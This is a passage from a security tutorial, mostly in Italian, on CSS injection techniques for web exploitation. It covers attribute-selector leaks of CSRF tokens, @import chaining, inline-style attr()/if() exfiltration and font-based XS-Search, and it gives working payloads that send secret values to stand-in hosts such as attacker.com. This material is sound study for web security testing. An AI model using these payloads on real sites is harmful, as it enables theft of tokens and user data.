CSS Injection

Reading time: 25 minutes

CSS Injection

Selettore di attributo

I selettori CSS sono creati per corrispondere ai valori degli attributi name e value di un elemento input. Se l'attributo value dell'elemento input inizia con un carattere specifico, viene caricata una risorsa esterna predefinita:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi input nascosti (type="hidden") perché gli elementi nascosti non caricano gli sfondi.

Bypass per elementi nascosti

Per aggirare questa limitazione, puoi puntare a un elemento sibling successivo utilizzando il combinatore general sibling ~. La regola CSS viene quindi applicata a tutti i sibling che seguono l'elemento input nascosto, causando il caricamento dell'immagine di sfondo:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un esempio pratico dello sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo here.

Prerequisiti per CSS Injection

Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte determinate condizioni:

1. Payload Length: Il vettore di CSS injection deve supportare payloads sufficientemente lunghi per ospitare i crafted selectors.
2. CSS Re-evaluation: Devi avere la possibilità di effettuare il framing della pagina, necessario per innescare la rivalutazione del CSS con payloads appena generati.
3. External Resources: La tecnica presuppone la capacità di utilizzare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Content Security Policy (CSP) del sito.

Blind Attribute Selector

As explained in this post, it's possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combinando questo con la seguente tecnica @import, è possibile esfiltrare molte informazioni usando CSS injection da pagine blind con blind-css-exfiltration.

@import

La tecnica precedente ha alcuni svantaggi, verifica i prerequisiti. Devi o essere in grado di inviare più link alla vittima, oppure devi poter inserire la pagina vulnerabile a CSS injection in un iframe.

Tuttavia, c'è un'altra tecnica ingegnosa che utilizza CSS @import per migliorare l'efficacia della tecnica.

Questo è stato mostrato per la prima volta da Pepe Vila e funziona così:

Invece di caricare la stessa pagina più e più volte con decine di payload diversi ogni volta (come nel metodo precedente), caricheremo la pagina una sola volta e solo con un import verso il server dell'attaccante (questo è il payload da inviare alla vittima):

@import url("//attacker.com:5001/start?");

1. L'@import riceverà uno script CSS dagli attaccanti e il browser lo caricherà.
2. La prima parte dello script CSS che gli attaccanti invieranno è un altro @import al server degli attaccanti.
3. Il server degli attaccanti non risponderà a questa richiesta ancora, perché vogliamo effettuare un leak di alcuni caratteri e poi rispondere a questo import con il payload per ottenere i leak successivi.
4. La seconda e più grande parte del payload sarà un attribute selector leakage payload
5. Questo invierà al server degli attaccanti il primo carattere del segreto e l'ultimo
6. Una volta che il server degli attaccanti ha ricevuto il primo e l'ultimo carattere del segreto, risponderà all'@import richiesto nel passo 2.
7. La risposta sarà esattamente la stessa dei passi 2, 3 e 4, ma questa volta tenterà di trovare il secondo carattere del segreto e poi il penultimo.

L'attaccante seguirà quel ciclo finché non riuscirà a effettuare il leak completo del segreto.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Questa primitiva permette l'esfiltrazione usando solo l'attributo style inline di un elemento, senza selector o fogli di stile esterni. Si basa sulle proprietà CSS custom, sulla funzione attr() per leggere attributi dello stesso elemento, sui nuovi condizionali CSS if() per le ramificazioni, e su image-set() per scatenare una richiesta di rete che codifica il valore corrispondente.

• Sink: controllare l'attributo style di un elemento e assicurarsi che l'attributo target sia sullo stesso elemento (attr() legge solo attributi dello stesso elemento).
• Read: copiare l'attributo in una variabile CSS: --val: attr(title).
• Decide: selezionare un URL usando condizionali nidificati che confrontano la variabile con candidati stringa: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
• Exfiltrate: applicare background: image-set(var(--steal)) (o qualsiasi proprietà che esegue fetch) per forzare una richiesta all'endpoint scelto.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload funzionante (virgolette doppie richieste nella comparazione):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Enumerazione dei valori degli attributi con condizioni annidate:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Demo realistico (probing usernames):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Note e limitazioni:

• Funziona sui browser basati su Chromium al momento della ricerca; il comportamento può differire su altri motori.
• Più adatto a spazi di valori finiti/enumerabili (IDs, flags, short usernames). Rubare stringhe arbitrariamente lunghe senza fogli di stile esterni rimane impegnativo.
• Qualsiasi proprietà CSS che recupera un URL può essere usata per innescare la richiesta (es., background/image-set, border-image, list-style, cursor, content).

Automazione: una Burp Custom Action può generare payload inline-style annidati per brute-force dei valori degli attributi: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Altri selettori

Altri modi per accedere a parti del DOM con CSS selectors:

• .class-to-search:nth-child(2): Questo cercherà il secondo elemento con la classe "class-to-search" nel DOM.
• :empty selector: Utilizzato ad esempio in this writeup:

[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Error based XS-Search

Riferimenti: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

L'intenzione complessiva è utilizzare un font personalizzato da un endpoint controllato e assicurarsi che il testo (in questo caso, 'A') venga visualizzato con questo font solo se la risorsa specificata (favicon.ico) non può essere caricata.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

1. Utilizzo di font personalizzato:

• Un font personalizzato è definito usando la regola @font-face all'interno di un tag <style> nella sezione <head>.
• Il font si chiama poc ed è recuperato da un endpoint esterno (http://attacker.com/?leak).
• La proprietà unicode-range è impostata su U+0041, mirata al carattere Unicode specifico 'A'.

2. Elemento